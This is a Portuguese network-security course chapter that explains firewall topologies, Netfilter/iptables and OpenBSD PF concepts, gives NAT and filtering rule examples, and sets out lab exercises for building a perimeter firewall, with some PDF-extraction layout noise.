Exercício de fixação 2 e
Servidores proxy
O que são servidores proxy?

Topologias de firewall
Não existe uma fórmula para se planejar um firewall, pois isso vai depender das parti- q Capítulo 3 - Firewall – Conceitos e Implementação

cularidades de cada rede e da experiência do profissional encarregado. Porém, existem


algumas arquiteturas que podem servir de base para a construção de uma solução
completa. Nos itens a seguir veremos algumas dessas arquiteturas básicas.

Dual-Homed
Essa é a topologia mais simples, que consiste em apenas uma máquina conectada tanto q
à rede pública quanto à rede protegida, porém com a função de roteamento desabili-
tada. Dessa forma, para a rede protegida acessar a rede pública, ela necessitará utilizar
algum recurso presente na máquina em questão, como um Proxy ou NAT. A figura 3.2
mostra uma topologia dual-homed.

55
Screened Host
Nessa arquitetura, a rede interna está conectada à internet (rede pública) através de q
um roteador com o recurso de filtros de pacotes. Esse é chamado de screening router.
Os serviços são providos através de uma máquina da rede interna, chamada de bastion
host (ou bastião). O bastião é a única máquina com acesso à internet, garantido através
da configuração de filtros de pacotes no roteador. Dessa forma, as outras estações não
possuem acesso direto, devendo utilizar os serviços disponíveis no bastion (proxies).

Exemplos de configuração dos filtros de pacotes:

11 Permitir que o bastião acesse a internet, utilizando os serviços permitidos pela política
de segurança da organização.

11 Permitir que as estações da rede interna acessem o bastião, utilizando os serviços per-
mitidos. Lembre-se de que o bastião necessita de um endereço IP válido para acessar a
internet ou que o roteador realize NAT para permitir esse acesso. Dessa forma, apesar de
estarem na mesma rede física, as estações necessitam acessar o roteador para alcançar
o bastião, visto que ele se encontra em outra rede lógica.

11 Negar conexões das estações da rede interna para a internet.

Internet

Roteador
de filtragem

Figura 3.2
Estação Bastion Host Estação Estação Topologia
dual-homed.

Note que o firewall corresponde nesse caso ao conjunto composto pelo bastion host e o
screening router.

Screened Subnet
Essa arquitetura adiciona uma camada extra de segurança em relação à anterior, através q
de uma rede extra chamada de perímetro ou Zona Desmilitarizada (DMZ). Essa rede cria DMZ
um isolamento entre a rede interna e a internet. A vantagem principal é que os bastion DeMilitarized Zone
hosts ficam em uma rede isolada, de forma que defesas extras podem ser aplicadas para é a parte da rede
onde o nível de
impedir que um bastion host comprometido tenha acesso à rede interna, aplicando o segurança é um
conceito de defesa em profundidade. pouco menor e
onde se concentram
Segurança de Redes e Sistemas

A rede DMZ fica protegida por dois roteadores, um externo ligado à internet e um interno os serviços públicos.
ligado à rede interna. Esses roteadores devem ser configurados corretamente para per-
mitir apenas as conexões estritamente necessárias. Os bastion hosts continuam a ser o
contato com a rede pública e possuem serviços para a rede interna, como proxies e serviços
públicos como correio eletrônico e páginas www públicas.

56
Internet

Roteador
Bastion externo

DMZ

Roteador
interno
Figura 3.3
Rede DMZ
protegida por dois Rede interna
roteadores.

Variações
Algumas variações podem ser feitas em relação às topologias apresentadas. A seguir
algumas variações comuns:

11 Múltiplos bastion hosts: caso diversos serviços estejam sendo oferecidos ou haja uma
razão para ter serviços divididos em diferentes servidores (redundância), pode-se colocar
mais de uma máquina na rede DMZ. Lembre-se de configurar as regras de filtragem de
acordo com os roteadores.

11 Junção dos roteadores internos e externos: essa é uma variação muito comum, visto
que a junção dos roteadores reduz custos. Lembre-se de que nesse caso o comprometi-
mento do roteador compromete a arquitetura inteira.

11 Junção do bastion host com o roteador externo: não é muito comum, pois normal-
mente a conexão à internet requer um hardware específico por conta dos requisitos
das operadoras de telecomunicação (seriais síncronas, fibras ópticas etc.), mas pode ser
adotado sem problemas. Não é recomendada a junção com o roteador interno, uma vez
que, caso o bastião seja comprometido, a rede interna estará exposta.

11 Múltiplos perímetros: outra variação comum, comum ao se referir a uma DMZ ou a uma
extranet, rede usada para conectar outras redes externas.

11 Firewalls internos: usados para separar redes com maior requisito de segurança ou
Capítulo 3 - Firewall – Conceitos e Implementação

conexões que necessitem de um nível de proteção maior.

Montando uma topologia complexa


É importante que se tenha em mente que não existe solução perfeita ou ideal quando se q
fala em construir um firewall. Uma topologia de segurança de perímetro depende muito
da rede em questão, suas subdivisões, conexões com outras redes, níveis de segurança,
conexões à internet e outras questões. A figura abaixo mostra um exemplo de topologia
mais complexa.

57
Internet

Roteador
Bastion Extranet
externo

DMZ

Roteador
Bastion
interno 1

Roteador
Rede interna Rede segura
interno 2

Durante as atividades práticas será exercitada a construção de topologias de firewall. Figura 3.4
Exemplo de topo-

Exercício de fixação 3 e
logia complexa.

Topologias de firewall
Quais são as arquiteturas de firewall?

Exercício de fixação 4 e
Screened Subnet
Explique o que é DMZ. Sua organização possui DMZ?

Implementação de firewalls
Existem diversas soluções desenvolvidas sob o critério de licença de software livre que
implementam o controle de acesso perimetral em redes TCP-IP. Soluções mais comuns:
Netfilter (Iptables), para Linux; Ipfilter (IPF) e IP Firewall (IPFW), para FreeBSD; Packet Filter
(PF), para OpenBSD, e FreeBSD.

Ao final deste capítulo o aluno terá um resumo das principais características de cada uma
das implementações, realizando atividades práticas de implantação de controle perimetral.
Assim estará apto a configurar ferramentas de filtragem de pacotes, proxy HTTP e NAT.
Segurança de Redes e Sistemas

Netfilter (Iptables)
O Iptables é um framework capaz de realizar filtros de pacotes, tradução de endereços q
de rede e tradução de número de portas TCP e UDP, além de outros tipos de manipu-
lação de pacotes TCP/IP.

Ele foi desenvolvido para trabalhar integrado com o Linux kernel 2.4 e 2.6. Surgiu da reescrita e
evolução dos códigos do Ipfwadm para o Linux kernel 2.0 e do Ipchains para o Linux kernel 2.2.

58
Uma virtude do Netfilter é suportar módulos, permitindo implementações das mais simples
às mais sofisticadas.

O objetivo deste curso não é o de esgotar as características do Netfilter, mas sim orientar o aluno
no entendimento de um sistema de firewall, para um possível aprofundamento futuro.

Principais características: q
11 Stateless packet filtering (IPv4 e IPv6).

11 Stateful packet filtering (IPv4 e IPv6).

11 Tradução de endereço e portas (IPv4).

11 Desenvolvido para ser flexível e extensível.

API 11 API de várias camadas para implementação de complementos de terceiros.


Conjunto de rotinas e 11 Grande número de softwares adicionais (plugins) e módulos mantidos no repositório
padrões estabelecidos
por um software para do Netfilter.
a utilização de suas
funcionalidades por Antes de entrar nos comandos de configuração do Iptables, é importante conhecer alguns
programas aplicativos conceitos importantes envolvidos, apresentados a seguir:
que não precisam
envolver-se nos deta- 11 Stateless é uma técnica de controle simples baseada apenas na verificação de cabeça-
lhes da implementação lhos dos pacotes TCP/IP, não observando o estado da conexão (Three Way Handshake).
do software.
Atualmente, o Iptables suporta verificação de pacotes TCP/IP versões 4 e 6.

11 Statefull é uma técnica de controle de pacotes TCP/IP baseada no estado da conexão,


mantendo tabelas com o estado das conexões e criando regras automáticas, quando
necessário, para a volta dos pacotes. Também suporta atualmente controle de pacotes
IPv4 e IPv6. Corresponde ao stateful inspection.

11 Tradução de endereços IP e portas TCP ou UDP são técnicas implementadas pelo


Netfilter que visam atender à RFC 1918. O Netfilter denomina de NAT a tradução de
endereço IP e de NAPT a tradução de portas TCP e UDP, sendo até o momento suportado
apenas no protocolo IPv4.

Implementação do Netfilter
A sintaxe do Netfilter pode parecer confusa no início. O objetivo da linguagem é permitir
implementações robustas. O Netfilter permite a manipulação desde as regras mais simples
até as mais complexas, onde é possível reduzir o volume do arquivo de configuração e faci-
litar o entendimento dos objetivos do(s) filtro(s).

Capítulo 3 - Firewall – Conceitos e Implementação


Para compreender a sintaxe do Netfilter, precisamos inicialmente conhecer o significado dos
termos e expressões de manipulação de pacotes:

11 Drop/Deny: quando um pacote sofre Drop ou Deny, é descartado e nenhuma outra ação
é realizada; o pacote simplesmente desaparece.

11 Reject: quando um pacote sofre a ação Reject, é descartado e uma mensagem é enviada
para o host origem informando seu descarte.

11 Accept: ação contrária ao Drop ou Reject, indica ao Iptables para aceitar e encaminhar o
Kernel
pacote.
Componente central do
sistema operacional res- 11 State: estado específico de um pacote em uma conexão TCP/IP. Por exemplo: o primeiro
ponsável por fornecer pacote de uma conexão TCP é o pacote com a opção SYN ligada. O estado da conexão é
os recursos computa-
cionais disponibilizados conhecido através do sistema de rastreamento de conexões, que mantém uma base de
pelo hardware aos dados com o estado de todas as conexões. Essa base fica em uma área dentro do kernel
aplicativos. do Linux, sendo controlada automaticamente por ele.

59
11 Chain: cadeia de conjuntos de regras que são aplicadas em momentos distintos no kernel
do Linux. As três principais chains são INPUT, OUTPUT e FORWARD:

22 INPUT: utilizada quando os pacotes têm como endereço IP de destino o próprio


endereço do firewall.

22 OUTPUT: utilizada quando o pacote é originado pelo firewall e sai por alguma
interface de rede.

22 FORWARD: utilizada quando um pacote atravessa o firewall, não tendo como destino o
próprio firewall. Daqui podemos verificar que as chains INPUT e OUTPUT protegem o
próprio firewall, e a chain FORWARD protege o que estiver atrás dele.

11 Table: o Iptables possui quatro tabelas, cada uma com propósitos específicos:

22 Nat: utilizada para manipulação de tradução de endereços IP. Os pacotes podem ter os
endereços de origem, destino, porta de origem e de destino alterados de acordo com
o especificado na regra. Para a tradução de pacotes é necessário especificar apenas
a tradução do pacote inicial da conexão, de modo que todos os pacotes seguintes
pertencentes à essa conexão serão automaticamente traduzidos.

22 Mangle: utilizada principalmente para manipulação de pacotes IP. É possível manipular


o conteúdo de diferentes pacotes e seus cabeçalhos, como os campos QoS e TTL,
entre outros.

22 Filter: utilizada exclusivamente para filtros de pacotes, de forma a realizar DROP, LOG,
ACCEPT e REJECT de pacotes TCP/IP, conforme foi visto.

22 Raw: utilizada quando desejamos filtrar um pacote, mas não queremos monitorar o
estado da conexão. Dessa forma, estamos fazendo um filtro de pacotes simples.

11 Match: termo utilizado quando um pacote “encaixa” em uma determinada regra; dizemos
que o pacote “deu match” em uma determinada regra do Iptables.

11 Target: termo utilizado para informar o que será feito com os pacotes que “derem match”
em determinada regra; o target pode ser Accept, Drop, Reject etc.

11 Rule: uma regra é definida como um match ou conjunto de matches de pacotes com um
único target.

11 Ruleset: conjunto de regras (rules) de todo o firewall, normalmente agrupado em um


arquivo de configuração, para inicialização do Iptables.

11 Jump: instrução ligada ao target. Se um pacote “der match” em uma instrução de jump,
será analisado por um conjunto de regras extras, definidas no próprio jump. A sintaxe é
similar à de target (jump em vez de target).

11 Connection tracking: característica do firewall de analisar o estado da conexão e manter


em uma base de dados interna. Assim, o firewall é capaz de saber a qual conexão per-
tence um pacote, aumentando de forma drástica a segurança do sistema de firewall, já
que pacotes que não fazem parte de conexões legítimas são automaticamente des-
Segurança de Redes e Sistemas

cartados. Essa característica tem um custo computacional elevado para o firewall, o


que também ocorre com o Iptables, gerando a necessidade de mais recursos de CPU e
memória do sistema.

11 Policy: política padrão de funcionamento do firewall (default permit e default deny). Em se


tratando de Iptables, podemos definir a policy como ACCEPT ou DROP, de acordo com a
ação padrão que será dada a um pacote que não “der match” em nenhuma regra específica.

60
Modo de operação do Netfilter
O Netfilter interage com o kernel do Linux baseado na decisão de encaminhamento de q
pacotes. O modo de funcionamento é resumido na próxima figura.

Kernel

Entrada
Tipo de
Forward Saída
roteamento

Figura 3.5
Processo de decisão Input Processo local Output
do Netfilter.

Capítulo 3 - Firewall – Conceitos e Implementação

61
A representação completa do funcionamento do Iptables é apresentada na Figura 3.6.

Network

raw
PREROUTING

mangle mangle
mangle
INPUT PREROUTING
INPUT

filter
mangle nat
INPUT
INPUT PREROUTING

Routing
Local Decision
Process

Routing mangle
mangle
Decision FORWARD
INPUT

raw filter
OUTPUT FORWARD

mangle Routing
OUTPUT Decision

nat mangle
mangle
OUTPUT INPUT
POSTROUTING

filter
mangle nat
OUTPUT
INPUT POSTROUTING
Figura 3.6
Detalhamento
do processo de
Segurança de Redes e Sistemas

encaminhamento
do Iptables. Fonte:
Network
Frozentux.

Chains do Netfilter: q
11 PREROUTING

11 INPUT

11 FORWARD

62
11 OUTPUT q
11 POSTROUTING

Tabela Nat

Consultada quando o pacote responsável pela criação da nova conexão é encontrado.


Utilizada para roteamento de pacotes entre redes diferentes.

Tabela Mangle

Realiza alterações especiais de maneira a auxiliar a filtragem de pacotes. Utiliza nos


cabeçalhos dos pacotes o TOS (Type of Service) que especifica o tipo de serviço ao qual
o pacote se destina.

Tabela Raw

Utilizada principalmente para configurar exceções no módulo ip_contrack do kernel.


Primeira dentre as tabelas no núcleo do netfilter, facilita a exclusão de pacotes antes de
serem processados na memória.

As chains do Netfilter são definidas de acordo com o momento do processamento do pacote


pelo kernel do Linux, podendo ser:

11 PREROUTING: nessa chain o pacote é tratado no momento em que chega à máquina,


antes de alcançar a fase de roteamento do kernel; nesse momento, podemos tratar
apenas os pacotes das tabelas Raw, Mangle e Nat.

11 INPUT: nessa chain são tratados os pacotes destinados ao firewall no momento anterior à
entrega ao sistema responsável pelo processamento desses pacotes. Nessa chain podem
ser analisados os pacotes das tabelas Mangle e Filter.

11 FORWARD: nessa chain são tratados os pacotes que não são destinados ao firewall e
serão encaminhados a outro host na rede. Nessa chain podem ser analisados os pacotes
das tabelas Mangle e Filter.

11 OUTPUT: nessa chain são tratados os pacotes gerados por processos do próprio host, que
serão enviados à rede. Nessa chain podem ser analisados os pacotes das quatro tabelas.

11 POSTROUTING: nessa chain são analisados pacotes que estão saindo do firewall e não
sofrerão nenhum outro tipo de processamento pelo host. Nessa chain são permitidas
manipulações apenas de pacotes das tabelas Mangle e Nat.

Exercício de fixação 5 e
Netfilter
Capítulo 3 - Firewall – Conceitos e Implementação
Explique o funcionamento do Netfilter, usando como base o Iptables.

Controle perimetral
11 Controle de acesso ao firewall. q
11 Controle de acesso através do firewall.

As chains INPUT e OUTPUT do Netfilter serão manipuladas para controlar o acesso ao


firewall, como as conexões que serão permitidas ao firewall. A chain FORWARD será utilizada
para controlar os pacotes que serão permitidos através do firewall. Dessa forma, as pri-
meiras protegem o firewall em si e a última protege as redes atrás dele.

63
Segue um exemplo de configuração de Dual-Homed firewall utilizando Iptables, com o
objetivo de gerar logs dos pacotes ICMP destinados ao firewall (que são encaminhados pelo
firewall) e dos que são gerados pelo firewall; a barra invertida “\” indica que a regra continua
na próxima linha:

iptables –P INPUT ACCEPT # Define a regra padrão permitir

iptables –P OUTPUT ACCEPT # todos pacotes que chegarem

iptables –P FORWARD ACCEPT # ao firewall

iptables -t filter -A INPUT -p icmp --icmp-type echo-request \

-j LOG --log-prefix=”filter INPUT:”

iptables -t filter -A INPUT -p icmp --icmp-type echo-reply \

-j LOG --log-prefix=”filter INPUT:”

iptables -t filter -A OUTPUT -p icmp --icmp-type echo-request \

-j LOG --log-prefix=”filter OUTPUT:”

iptables -t filter -A OUTPUT -p icmp --icmp-type echo-reply \

-j LOG --log-prefix=”filter OUTPUT:”

iptables -t filter -A FORWARD -p icmp --icmp-type echo-request \

-j LOG --log-prefix=”filter FORWARD:”

iptables -t filter -A FORWARD -p icmp --icmp-type echo-reply \

-j LOG --log-prefix=”filter FORWARD:”

Os comandos são parâmetros passados para o Iptables durante a configuração das regras.
Principais parâmetros do Iptables:

-P: utilizado para definir a política padrão. Exemplo:

Iptables –P FORWARD DROP

Esse comando especifica que a ação padrão do firewall para FORWARD (passagem) de
pacotes será DROP (descarte os pacotes).

-t: especifica a tabela usada pelo Iptables; se não especificada, o padrão é filter (no exemplo
acima não havia a necessidade do parâmetro –t filter). Exemplo:

iptables –t nat –L

-L: lista as regras definidas para o Iptables. Exemplo:


Segurança de Redes e Sistemas

iptables –L

-F: (Flush) apaga todas as regras aplicadas em uma tabela. Exemplo:

iptables –t nat –F

-A: (Append) adiciona uma regra no final de uma tabela. Exemplo:

iptables –A INPUT –i eth0 –j DROP

64
-j: (Jump) indica a ação ou o target da regra. Exemplo:

iptables –A INPUT –i eth0 –j ACCEPT

O conjunto de comandos apresentados consiste em apenas um subconjunto dos comandos


existentes na ferramenta. O conjunto completo de comandos pode ser visto na man page do
Iptables, acessível através do comando:

man iptables

Durante as atividades práticas, alguns comandos do Iptables serão exercitados.

Tradução de IP (NAT)
O Iptables tem uma tabela especial para manipulação de tradução de endereço IP nos
pacotes TCP/IP. Essa tabela será utilizada para a realização de controle de NAT das conexões,
sendo elas: SNAT, DNAT, NAT Estático e NAT Dinâmico, conforme apresentado no capítulo 2.

Alguns exemplos de configuração de NAT serão vistos a seguir.

SNAT
Esse NAT foi concebido para modificar o endereço IP de origem em uma conexão TCP/
IP, como, por exemplo, alterar o endereço IP de origem de uma conexão TCP/IP de uma
máquina da rede interna (com endereço IP reservado que não pode ser roteado pela
internet) para um endereço público de rede IP:

# POSTROUTING statements for 1:1 NAT

# (Conexões da rede Interna para a rede de servidores)

iptables -t nat -A POSTROUTING -s 192.168.1.100 -o eth0 \

-j SNAT --to-source 200.200.200.1

# POSTROUTING NAT de Um-para-Muitos

# (Conexões originadas na rede Internet)

Capítulo 3 - Firewall – Conceitos e Implementação


iptables -t nat -A POSTROUTING -s 192.168.1.0/24 –o eth0 \

-j SNAT --to-source 200.200.200.2

Nos exemplos acima foram usados parâmetros para identificação da origem do pacote, que
podem ser usados em qualquer regra, não somente em regras de NAT. São eles:

11 -s: define a origem do pacote, que pode ser um único endereço IP ou uma rede, como nos
exemplos acima.

11 -o: define a interface de saída do pacote. Nos exemplos acima, para serem sujeitos às
regras, os pacotes devem sair pela interface eth0.

Para identificação do destino, podemos usar o parâmetro –d de forma análoga, assim como
o parâmetro –i para indicar a interface de entrada.

65
DNAT
Esse NAT, justamente como sugere o nome, foi concebido para realizar a troca do endereço
IP de destino de uma conexão TCP/IP. No exemplo a seguir, temos um servidor em uma rede
com endereço privado, que não é roteável pela internet. Assim foi disponibilizado um ende-
reço IP público que deve ser traduzido para o endereço IP privado ao passar pelo NAT.

# (Conexões da Internet acessando servidor Interno)

iptables -t nat -A PREROUTING --dst 200.200.200.10 –p tcp \

--dport 80 -j DNAT --to-destination 172.16.21.2

Nesse exemplo, verificamos dois novos parâmetros: –p, que indica o protocolo em questão
(exemplos: TCP, UDP, ICMP) e –dport, que indica a porta de destino. De forma análoga, –sport
serve para indicar a porta de origem.

NAT Dinâmico
Diferente dos casos anteriores, onde havia traduções de endereços IP de Um para Um, ou
que normalmente chamamos de estáticos. Há também a necessidade de tradução de vários
endereços IP de uma rede para um único endereço IP ou um pequeno grupo de endereços
IP. Nesse exemplo, temos uma rede local com endereços IP privados, que ao estabelecer
conexão com a internet precisa de endereço de origem válido; para isso, todas as conexões
TCP/IP saem com o endereço IP válido da interface externa do firewall.

# Conexões da Rede Interna para a INTERNET

iptables -t nat -A POSTROUTING –s 192.168.1.0/24 –o eth0 -j


BSD
MASQUERADE
Sistema operacional
Unix desenvolvido
Packet Filter (PF) pela Universidade de

q
Berkeley nos anos 70.
11 Ativação Hoje não é um único
sistema operacional,
11 Controle mas uma extensa
família derivada do
11 Configuração
original. Membros
22 Ação – block ou pass mais conhecidos:
FreeBSD, OpenBSD,
22 Direção NetBSD e Darwin
(base do Mac OS X).
22 Log

22 Quick
Ports
22 Família de endereço IP – inet ou inet6 Também conhecido por
Sistema de Ports ou
22 Protocolo
Coleção de Ports, é um
22 Endereço de origem ou destino sistema de organi-
Segurança de Redes e Sistemas

zação dos aplicativos


22 Porta de origem ou destino instalados no sistema
operacional FreeBSD.
22 Sinalizadores TCP
Posteriormente foi
O Packet Filter (PF) foi desenvolvido no OpenBSD e é a opção padrão de firewall para essa migrado para outras
plataformas, como
versão do BSD (Berkeley Software Distribution). Foi portado para o FreeBSD a partir de julho
OpenBSD, NetBSD
de 2003 e encontra-se disponível nos Ports do FreeBSD. e Mac OS X.

66
Para instalação do PF no FreeBSD é necessário compilar o kernel do FreeBSD com suporte
ao PF, habilitando os módulos necessários. Para o funcionamento do PF no FreeBSD é
necessário adicionar as seguintes linhas de comando no arquivo de configuração /etc/rc.conf,
conforme mostrado abaixo:

pf_enable=”YES” # Habilita PF (se necessário


inicia os módulos)

pf_rules=”/etc/pf.conf” # arquivo de configurações das regras do PF

pf_flags=”” # Parâmetros
adicionais para iniciar o PF

pflog_enable=”YES” # Inicia pflogd(8)

pflog_logfile=”/var/log/pflog” # Onde serão armazenados os logs do PF

pflog_flags=”” # Parâmetros
adicionais ao iniciar os logs

Ativação
Ocorre automaticamente editando o arquivo de configuração /etc/rc.conf conforme citado
ou manualmente com os seguintes comandos:

# pfctl –e # Para habilitar (enable)

# pfctl –d # Para desabilitar (disable)

Quando a ativação ocorrer manualmente, o PF não carregará automaticamente o conjunto


de regras do arquivo de configuração, o que terá de ser feito manualmente.

Controle
Após iniciado o PF, pode ser utilizada a ferramenta pfctl para realizar as verificações e con-
trole do PF. Seguem os principais controles:

# pfctl -f /etc/pf.conf Carrega o arquivo pf.conf

# pfctl -nf /etc/pf.conf Analisa o arquivo, mas não carrega-o

# pfctl -Nf /etc/pf.conf Carrega apenas as regras de NAT do arquivo

# pfctl -Rf /etc/pf.conf Carrega apenas as regras de filtragem do


Capítulo 3 - Firewall – Conceitos e Implementação
arquivo

# pfctl -sn Mostra as regras atuais de NAT

# pfctl -sr Mostra as regras atuais de filtragem

# pfctl -ss Mostra a tabela de estados atual

# pfctl -si Mostra as estatísticas e os contadores de


filtragem

# pfctl -sa Retorna TUDO o que pode ser mostrado

67
Configuração
A sintaxe do PF pode ser resumida da seguinte forma:

ação [direção] [log] [quick] [on interface] [fam_de_end] [proto


protocolo] \

[from end_de_or [port porta_de_or]] [to end_de_dest [port porta_


de_dest]] \

[flags sinalizadores_tcp] [estado]

11 Ação: executada nos pacotes que corresponderem à regra. Pode ser pass ou block.

11 Direção: sentido do fluxo do pacote na interface. Pode ser in (entrando) ou out (saindo).

11 Log: especifica que o pacote deve ser logado.

11 uick: significa que essa deve ser a última regra a ser analisada, não verificando
as regras seguintes.

11 Interface: nome da interface de rede que o pacote está passando, como fxp0 e en0.

11 Fam_de_end: protocolo que está sendo analisado; inet para IPv4 e inet6 para IPv6.

11 Protocolo: protocolo da camada de transporte que está sendo analisado, pode ser TCP,
UDP ou qualquer outro protocolo especificado no arquivo /etc/protocols.

11 End_de_or, end_de_dest: endereços de origem e/ou destino especificado no cabeçalho


dos pacotes IP. Pode ser especificado endereço de host, blocos CIDR com uso da barra,
por exemplo: 192.168.1.0/24.

11 Porta_de_or, porta_de_dest: especifica o número da porta do cabeçalho da camada de


transporte. Pode ser representado por número de 1 a 65535, um nome de serviço válido
no arquivo /etc/services, um grupo de portas usando uma lista, ou ainda um range utili-
zando os seguintes símbolos:

22 != (diferente de)

22 < (menor que)

22 > (maior que)

22 <= (menor ou igual a)

22 >= (maior ou igual a)

22 >< (uma faixa)

11 Sinalizadores TCP: especificam as flags do cabeçalho TCP para serem analisadas, como
por exemplo AS, que verifica se as flags SYN e ACK estão ligadas.

Uma regra pode ser criada, por exemplo, para permitir acesso ao serviço SSH, tendo como
origem da conexão o endereço IP de um segmento de rede:
Segurança de Redes e Sistemas

pass in quick on fxp0 proto tcp from 192.168.1.4/30 to 192.168.1.1


port ssh

block in quick on fxp0 proto tcp from any to any port ssh

pass in all

68
Firewall Builder
11 Interface gráfica. q
11 Padronização da configuração.

11 Minimização de erros.

O uso de ferramenta gráfica para gerenciamento de firewalls é fortemente recomendado,


sobretudo quando os firewalls se tornam muito complexos. O uso de ferramentas gráficas
reduz o tempo de configuração e diminui de forma drástica a possibilidade de erro na codifi-
cação da regra desejada.

O Firewall Builder é um projeto disponível em dois tipos de licença, software livre para Linux
e FreeBS, e licença comercial para Windows e MAC OS. É instalado na máquina do adminis-
trador do firewall, que envia a sintaxe para o firewall, que a escreve automaticamente para
o host do Iptables. É uma ferramenta capaz de manipular regras do Packet Filter (PF do
OpenBSD e FreeBSD) e outros roteadores e firewalls comerciais.

Capítulo 3 - Firewall – Conceitos e Implementação

Figura 3.7 A configuração gráfica da figura 3.7 representa os seguintes comandos no Iptables:
Exemplo de
configuração # iptables –F # Limpa todas regras do
Netfilter. Iptables

# iptables –P INPUT ACCEPT # Define a regra padrão


permitir

# iptables –P OUTPUT ACCEPT # todos pacotes que chegarem

# iptables –P FORWARD ACCEPT # ao firewall

69
# iptables -A FORWARD -i eth1 -d 192.168.1.0/24 -j DROP # Bloqueia o
tráfego com

# iptables -A INPUT -i eth1 -d 192.168.1.0/24 -j DROP # destino à


rede 192.168.1.0

# os comandos abaixo liberam as portas destino 80/TCP, 53/TCP e 53/


UDP com origem

# na rede 192.168.1.0

# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 80 -j


ACCEPT

# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p tcp --dport 53 -j


ACCEPT

# iptables -A FORWARD -i eth0 -s 192.168.1.0/24 -p udp --dport 53 -j


ACCEPT

# iptables -L -n

Chain INPUT (policy ACCEPT)

target prot opt source destination

DROP all -- 0.0.0.0/0 192.168.1.0/24

Chain FORWARD (policy ACCEPT)

target prot opt source destination

DROP all -- 0.0.0.0/0 192.168.1.0/24

ACCEPT tcp -- 192.168.1.0/24 0.0.0.0/0 tcp


dpt:80

ACCEPT tcp -- 192.168.1.0/24 0.0.0.0/0 tcp


dpt:53

ACCEPT udp -- 192.168.1.0/24 0.0.0.0/0 udp


dpt:53

Chain OUTPUT (policy ACCEPT)

target prot opt source destination


Segurança de Redes e Sistemas

70
Roteiro de Atividades 3
Atividade 1 – Filtros de pacotes
Na criação de regras em filtros de pacotes é preciso traduzir os acessos que queremos
permitir ou bloquear, em regras baseadas em endereços IP, portas e flags. Utilizando a lin-
guagem fictícia dos exemplos, crie regras para as seguintes situações. Caso seja necessário,
invente uma sintaxe para novos parâmetros:

1. Permitir conexões TCP (ida e volta) para envio de correio eletrônico para um servidor
SMTP no endereço IP 192.168.5.1.

2. Bloquear conexões provenientes do endereço IP 192.168.4.5.

3. Permitir conexões UDP para o servidor DNS, endereço IP 192.168.10.5.

4. Permitir pacotes ICMP echo-request e echo-reply (ping).

5. Pesquise na internet informações de portas e parâmetros para auxílio na elaboração


das regras.

Atividade 2 – Topologias de firewall


Durante a parte teórica, vimos alguns modelos de topologias de firewall. Apesar de didá-
ticos, em situações da vida real eles devem ser adaptados para cada tipo de rede que
encontramos. Com base nas topologias a seguir, procure criar um perímetro, respeitando o
princípio do ponto único e pensando no mínimo de exposição da rede à internet.

1.

Intranet Internet
20 Mbps
8 Mbps

R2 R1
Capítulo 3 - Roteiro de Atividades

Servidor de Servidor Servidor de Servidor PC PC PC PC


banco de dados de e-mail aplicações web mainframe

71
2.

Internet

20 Mbps
Servidor Servidor de
de e-mail aplicações web

R1

R2

Servidor de Servidor
banco de dados mainframe PC PC PC PC

Atividade 3 – Topologias de firewall


A partir desta atividade o roteiro está dividido em três partes. Na primeira, o aluno programará
um controle de pacotes para permitir a comunicação entre os hosts descritos na topologia do
Figura 3.8
laboratório. Na segunda parte, programará a tradução de pacotes. Na terceira e última parte, Topologia do
o aluno vai gerenciar toda a configuração feita com uma interface de gerência gráfica. laboratório.

Internet

Topologia A FWGW1 FWGW1 Topologia B

DHCP DHCP

DMZ 172.16.1.0/24 DMZ 172.16.2.0/24

Servidor Servidor Servidor Servidor


Windows Linux Linux Windows
Segurança de Redes e Sistemas

Rede local 10.1.1.0/24 Rede local 10.1.2.0/24

Host Windows Host Windows

72
O laboratório será dividido em dois grupos, definidos pelo instrutor. Cada aluno participará
apenas de um grupo: Topologia A ou Topologia B.

Observe que o endereço IP das redes é diferente para cada grupo:

11 Rede Local: 10.1.G.0/24

11 Rede DMZ: 172.16.G.0/24

Onde:

11 G =1 – Grupo Topologia A

11 G=2 – Grupo Topologia B

A figura 3.9 mostra uma listagem com a descrição dos serviços disponibilizados pelos
servidores da DMZ.

Servidor Serviço Protocolo Porta Descrição

Win2008 IIS TCP 80 Servidor de aplicação web

Win2008 IIS TCP 443 Servidor de aplicação web

Win2008 FTP TCP 21 Servidor de arquivos FTP

Win2008 RDP TCP 3389 Servidor de conexão remota

Win2008 NTP UDP 123 Servidor de hora

LinServer Apache TCP 80 Servidor de páginas HTML

LinServer Bind UDP 53 Servidor de resolução de nomes

LinServer Postgres TCP 5432 Servidor de banco de dados

LinServer Postfix TCP 25 Servidor de mensagens

LinServer Postfix TCP 110 Servidor POP3

LinServer SSH TCP 22 Servidor de comandos remotos


Figura 3.9
LinServer NTP UDP 123 Servidor de hora
Serviços DMZ.

Atividade 4 – Filtro de pacotes


Nesta atividade, iremos configurar o controle de pacotes TCP/IP no host FWGW1, fazendo-o
atuar como filtro de pacotes da rede. Tomaremos como padrão a topologia da Figura 3.8 e
os serviços DMZ da Figura 3.9. A realização desta atividade é fundamental para a realização
das demais atividades deste curso.

A política de filtros de pacotes será a mais restritiva possível, permitindo somente as


Capítulo 3 - Roteiro de Atividades

conexões previamente definidas no filtro de pacotes. Dessa forma, a regra padrão é negar
todos os pacotes que chegarem, saírem e/ou atravessarem o firewall. A política de filtros
de pacotes será a mais restritiva possível, de modo que somente as conexões previamente
definidas deverão ser permitidas em nosso filtro de pacotes.

73
A cada item a seguir, será preciso verificar a configuração com o auxílio dos seguintes comandos:

# iptables –L (Lista a configuração corrente de filtro de pacotes)

# iptables –t nat –L (Lista a configuração corrente de NAT)

# iptables –F (Apaga todas as regras existentes)

# iptables –t nat –F (Apaga todas as regras de NAT)

# apt-get install tcpdump

# tcpdump (Vai auxiliar na verificação de pacotes chegando ao


firewall)

Acesso ao firewall
w
Para mais informações
Configure no firewall acesso de gerência SSH e ICMP, somente para pacotes originados da sobre a configuração
do Netfilter no Debian,
estação de trabalho Windows XP, e teste o funcionamento das regras originando acessos dos visite: http://wiki.
servidores Linux e Windows 2008 ao firewall. debian.org/iptables.

Passo 1 No console do VirtualBox, acesse a máquina FWGW1. Entre com as credenciais


de usuário root.

Passo 2 Edite o arquivo de configuração /etc/sysctl.conf, para habilitar o roteamento de


pacotes do kernel do Linux; para isso retire o comentário da linha:
net.ipv4.ip_forward=1
Para ativar essa nova configuração sem a necessidade de reiniciar o host
Linux, entre com o comando:
# sysctl –p

Passo 3 Crie o arquivo de configuração /etc/iptables.up.rules com o editor de texto de


sua preferência.
